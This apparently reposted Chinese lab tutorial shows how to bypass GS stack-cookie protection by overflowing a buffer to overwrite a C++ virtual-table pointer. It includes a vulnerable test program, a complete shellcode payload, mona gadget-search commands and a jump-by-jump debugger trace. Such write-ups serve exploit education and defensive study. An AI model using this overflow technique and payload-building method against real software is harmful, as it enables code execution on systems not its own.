图解利用虚函数过GS保护

栏目: IT技术 · 发布时间: 4年前

内容简介:个人感觉利用虚函数过GS保护过程稍微会复杂些,因为涉及到多次跳转。为了写清楚利用虚函数过GS,本文从payload构造切入,着重描写payload构建过程,从而让读者明白利用虚函数过GS的细节;并且在payload构建过程,对跳转细节采用图解方式,让读者跳出代码,先理清楚整个逻辑关系,然后再载入payload,讲解整个payload运行过程。(需要说明的是文中的寻址图,仅仅为了更清楚的描述跳转过程,不完全代码在内存中的存储顺序)。balabala~~新手上路,请多多关爱,如有写的不好的地方,请轻喷,感谢!╮

个人感觉利用虚函数过GS保护过程稍微会复杂些,因为涉及到多次跳转。为了写清楚利用虚函数过GS,本文从payload构造切入,着重描写payload构建过程,从而让读者明白利用虚函数过GS的细节;并且在payload构建过程,对跳转细节采用图解方式,让读者跳出代码,先理清楚整个逻辑关系,然后再载入payload,讲解整个payload运行过程。(需要说明的是文中的寻址图,仅仅为了更清楚的描述跳转过程,不完全代码在内存中的存储顺序)。balabala~~新手上路,请多多关爱,如有写的不好的地方,请轻喷,感谢!╮(╯▽╰)╭

一、GS保护

我们知道普通的栈溢出漏洞是通过覆盖返回地址,针对这一漏洞,微软在编译时使用了一个安全编译选项GS,Visual Studio默认启用了这个编译选项,如下图所示。

图解利用虚函数过GS保护

开启GS保护后,在所有函数调用前,会先向栈内压入一个随机数,这个随机数被称作canary或者为security cookie,这个随机数是位于EBP之前,并且系统还会在.data内存区域存放一个security cookie的副本;在函数返回前,系统会执行安全验证操作,即call __security_check_cookie,去比较原先存放在栈中的canary和.data中副本的值,如果两者不一致,说明栈中发生了溢出,因此之前通过覆盖返回值来实现栈溢出是不可行的。因此开启了过GS保护的研究热潮,包括利用攻击异常过GS、利用虚函数过GS等。

突破思路:如果我们可以在程序检查security cookie之前劫持程序流程的话,就可以实现对程序的溢出了。

二、虚函数

在C++中,当成员函数被关键词virtual修饰时,我们将其称之为虚函数。首先我们需要知道虚函数入口地址被统一保存在虚表中。当对象在使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行函数调用。

图解利用虚函数过GS保护

可以看到虚表指针地址和局部变量在内存空间中是紧接着的。因此猜想如果成员变量发生了溢出,是否可以覆盖 虚表指针将虚表指针指向payload ,通过精心构造payload能否成功执行shellcode?

三、利用虚函数过GS实例

3.1 实验环境

环境 备注
操作系统 win7
编译器 VS2015
编译选项 需要打开GS,关闭DEP,关闭ALSR,关闭safeseh和修改基址 具体下面有图
build版本 release

编译选项具体如下:

1)修改代码基址,如修改为0×41400000,避免代码中的strcpy存在00截断。

2)需要 打开GS :项目属性–>C/C++–>代码生成->安全检查->启用安全检查(GS)

图解利用虚函数过GS保护

3)关闭DEP,关闭ALSR,关闭safeseh,在项目->属性->链接器中依次修改。

图解利用虚函数过GS保护

3.2代码分析

我们先给出利用虚函数过GS的完整代码,包括传入的payload,payload的构成后面会解释。

#include "stdafx.h"
#include <windows.h>
#pragma warning(disable:4996)//该行用来屏蔽strcpy的警告
class Vir {
public:
    void test(char* str)
    {
        char buf[0x100];//局部变量buf
        strcpy(buf, str);
        printf("buf:%d\n%s\n", strlen(buf), buf);
        this->virfun();//调用虚函数
    }
    virtual void virfun()
    {
        printf("I am virtual function\n");
    }
};
int main()
{
    Vir v;
    v.test("\x53\x13\x40\x41"//ppt指令序列地址   
        "\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址  
        "\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨    
        "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
        "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
        "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
        "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
        "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
        "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
        "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
        "\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//  
        "\x24\xfe\x18\x00");//原始参数地址
    getchar();
    if (1<0)
        _asm//防止内存中没有jmp esp指令
    {
        jmp esp
    }
    return 0;
}

代码分析:

1)类Vir中有个虚函数virfun()和成员函数test()。在成员函数test中,将传入的数据payload作为参数,并将其赋值到成员变量buf中,这里存在典型的溢出漏洞。
2)在函数test中也调用了虚函数virfun(),因此buf变量发生溢出有可能会影响到虚函数指针。
3)系统调用虚函数是在检查security cookie之前,因此可以在调用虚函数时,拿到程序控制,将其指向自己的payload。

各函数变量地址:为了更好的理解后面的payload构造,我们先给出代码中关键变量和虚函数相关地址。其中虚表指针地址为0x0018ff34,虚表地址为0×41402254,虚函数入口地址为0×41401070,调用虚函数virfun()即call 0×41401070。原始参数str首地址为0×41402138,局部变量buf地址为0x0018fe24。

图解利用虚函数过GS保护

通过虚函数过GS保护利用思路:主要是通过局部变量溢出,覆盖虚表指针值,将虚表指针指向我们精心构造的payload,下面我们就详细说明payload的构造过程。

3.3 payload构造

为了精准覆盖虚表指针,我们首先需要计算偏移量,即虚表指针地址与局部变量buf的距离,然后将虚表指针指向的虚表地址0×41402254覆盖成原始参数str的首地址0×41402138,即让虚表指针指向原始参数。

计算偏移量有很多种方法,可以直接手算虚表指针地址与局部变量buf的距离为0x0018ff34-0x0018fe24=0×00000110=272字节。如果遇到难算的可以利用Immunity Debugger工具生成字符串,然后计算偏移量。这里还是演示下做法。

(1)利用Immunity Debugger工具生成300字节的字符串

!mona pc 300  

图解利用虚函数过GS保护

(2)打开Immunity Debugger工具所在目录的pattern.txt文件,得到300长度字符串:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

(3)传入300字符串,调试运行,报错,复制报错地址0x316A4130

图解利用虚函数过GS保护

(4)计算偏移量,得到偏移量为272

!mona po 0x316A4130   或者!mona po 0Aj1 

图解利用虚函数过GS保护

这时候的payload构成初步如下:

图解利用虚函数过GS保护

虚函数寻址变成了下图所示。

图解利用虚函数过GS保护

图中完成了将虚表指针指向原始参数str(0×41402138),实现了虚表指针跳到了原始参数上(原先的虚表),但是我们知道虚表指针跳到虚表,然后继续跳转到虚函数地址处,执行虚函数地址处的代码。因此下一步我们需要考虑虚函数地址填什么(图中问号???处)?即原始参数str(payload)前四个字节的值。这里我们需要考虑两个问题:

1) 图中问号处的内容必须是地址(可跳转),而不是数据

2) 面临着一个call操作,即call 虚函数地址,因此我们要考虑怎么能执行完call后,还可以回到shellcode内存空间继续执行呢?这里我们知道存储shellcode内存空间有两块,一个是原始参数str处(0×41402138),第二个是通过strcpy函数赋值成功的局部变量buf(0x0018fe24),这个时候我们需要观察栈和寄存器的状态,如下图所示。

图解利用虚函数过GS保护

首先我们发现原始参数(0×41402138)不在栈中,因此无法跳回原始参数的内存空间继续执行,但是惊喜的发现buf首地址0x18FE24=ESP+4,又想到跳转后紧接着执行的是call操作,于是我们只需要执行“pop pop ret”指令序列(后面简称ppt)后就可以转到buf首地址0x0018FE24执行,因为call操作会将返回地址入栈,即esp为0x0018FE1C,然后pop pop ,在ret时,栈顶为0x0018FE24,就可以转到0x0018FE24处执行了。因此这时候,我们只需要找到ppt指令序列地址,可以利用Immunity Debugger工具找,加载当前exe,使用!mona seh 指令搜索ppt指令地址,如下图。我们搜到7个ppt指令序列地址,这里选择的要求为ppt指令序列操作不影响当前程序流程,因此选择不带ebp esp这种指令就可。这里我们选择的ppt指令序列地址为0×41401353。

图解利用虚函数过GS保护

这时候的payload结构为:

图解利用虚函数过GS保护

写到这里,可能会想到ppt地址后,直接+shellcode+填充+原始参数地址,即可构成最后的payload,但是事实却没有这么简单,我看了很多网上的教程,大部分人都只写到了这里,便可以成功执行shellcode,但是我仔细调试了代码,发现是存在问题的。因为跳到buf内存后,0x0018FE24处是个ppt指令序列地址0×41401353,就会再一次执行ppt指令序列,因此又如何重新返回当前shellcode内存空间呢?这里我们先理下整体思路,如下图所示。 图解利用虚函数过GS保护

我们需要知道局部变量buf和原始参数的值都为payload数据。然后结合上图对跳转进行如下分析:

1跳:利用局部变量buf溢出,将虚表指针精准覆盖为原始参数地址0×41402138,因此通过虚表指针跳到原始参数地址处。

2跳:和经过分析栈状态,发现不可能跳回原始参数内存区域,但发现局部变量buf地址=当前esp+4,并且知道将执行call指令,结合 上述两点,只需要将虚函数地址填为ppt指令序列地址,即可完成跳到shellcode内存区域,即局部变量buf地址处。这里2跳是指将虚函数地址填充为ppt指令序列地址,然后执行虚函数,即call 0×41401353(ppt指令序列地址),将返回地址入栈。

3跳:跳转到ppt指令序列地址,执行pop ecx; pop ecx;后,栈顶为0x0018fe24,然后ret,跳到局部变量buf首地址处。

4跳:这个时候,跳到局部变量buf首地址处,发现,当前地址0x0018fe24内容为ppt指令序列地址0×41401353,因此会再一次pop两次出0x0018fe28和0x0018fe2C的值,然后执行ret指令,挑转到0x18ffe30处,EIP=???(图中),跳到???处。这个的???必须是地址,并且能够再次跳回shellcode栈空间执行,这时候观察堆栈状态,发现esp=0x0018fe34,因此很容易想到0x0018fe30处填的是jmp esp地址。

5跳:jmp esp,跳到0x0018FE34,执行shellcode。

图解利用虚函数过GS保护

jmpesp地址可以利用Immunity Debugger工具搜索:得到jmpesp地址为0x414010af

指令:

!mona jmp -r esp

图解利用虚函数过GS保护

这里需要说明0x0018fe28和0x0018fe2C地址的值可以任意填充,不影响程序流程的指令即可,这里用“\x90”填充,因为他们只需要pop出去就可。

我习惯shellcode前加nop滑轨方便调试,因此综上分析,最终payload结构为:

图解利用虚函数过GS保护

"\x53\x13\x40\x41"   //ppt指令序列地址   
"\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址*3  
"\x90\x90\x90\x90\x90\x90\x90\x90"   //nop滑轨    
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨  
"\x38\x21\x40\x41");//原始参数地址

3.4 代码跟踪

为了更好的理解利用虚函数过GS保护过程,最后我们利用构造好的payload,来跟踪下执行过程。这里只贴出关键点的图片。先看下各变量的地址。

图解利用虚函数过GS保护

下图可以看到虚表指针(0x0018FF34)已经指向原始参数(0×41402138),原始参数也已经指向ppt指令序列地址(0×41401353)。

图解利用虚函数过GS保护

下图,执行虚函数call 0×41402138(原始参数地址),并且可以看到当前esp+4=buf首地址(0x0018FF34)。

图解利用虚函数过GS保护

下图,执行call函数后,返回地址入栈,这时候可以看到当前esp为0x0018FE1C,然后继续执行ppt指令序列0×41401353,pop两次后,将栈顶esp0018FE24处的ppt序列指令0×41401353给EIP,再一次跳转到0×41401353地址。

图解利用虚函数过GS保护

下图,这时候看到当前esp为0x18FE28

图解利用虚函数过GS保护

下图,执行Pop pop指令,将2个”\x90x90x90x90″pop出,当前esp=0x0018FE30,然后ret,将跳转到0x0018FE30处的0x414010af处(jmpesp地址)

图解利用虚函数过GS保护

跳到jmpesp指令地址,然后执行指令 jmp esp

图解利用虚函数过GS保护

重新跳回shellcode内存区域,0x0018FE34处,开始执行nop滑轨,紧接着为shellcode,这样就成功执行了shellcode。

图解利用虚函数过GS保护

图解利用虚函数过GS保护

四、小结

思路:精准覆盖虚表指针为原始参数地址,然后利用PPT指令序列跳板,跳到局部变量内存区间,然后执行局部变量内存的PPT序列,再利用jmpesp跳板重新跳回局部变量内存空间,执行shellcode。这里需要说明的有两点:

1)我看到网上也有将虚表指针直接覆盖为局部变量地址,局部变量地址是0×00开头,虽然strcpy存在00截断,但是因为虚表指针放在payload最后面,即使最后个00字节截断,但是原有系统高位就是00,因此也可成功将虚表指针直接覆盖为局部变量地址。例如”\x24\xfe\x18\x00″。

2)无论是将虚表地址覆盖为原始参数地址还是局部变量地址,我跟踪的跳转流程和payload构造和本文写的差不多,但是我发现网上博客和书上都没有提到二次PPT,从而也没有用到jmpesp跳板,也成功执行了shellcode。这里我是保留疑问的,如果大家也有疑问可以互相交流。

REF

《0day安全:软件漏洞分析技术》

*本文作者:m01idu0du0,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《图解利用虚函数过GS保护》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

领域驱动设计

领域驱动设计

[美] Eric Evans / 赵俐、盛海艳、刘霞 / 人民邮电出版社 / 2016-6-1 / 69

本书是领域驱动设计方面的经典之作,修订版更是对之前出版的中文版进行了全面的修订和完善。 全书围绕着设计和开发实践,结合若干真实的项目案例,向读者阐述如何在真实的软件开发中应用领域驱动设计。书中给出了领域驱动设计的系统化方法,并将人们普遍接受的一些实践综合到一起,融入了作者的见解和经验,展现了一些可扩展的设计新实践、已验证过的技术以及便于应对复杂领域的软件项目开发的基本原则。一起来看看 《领域驱动设计》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具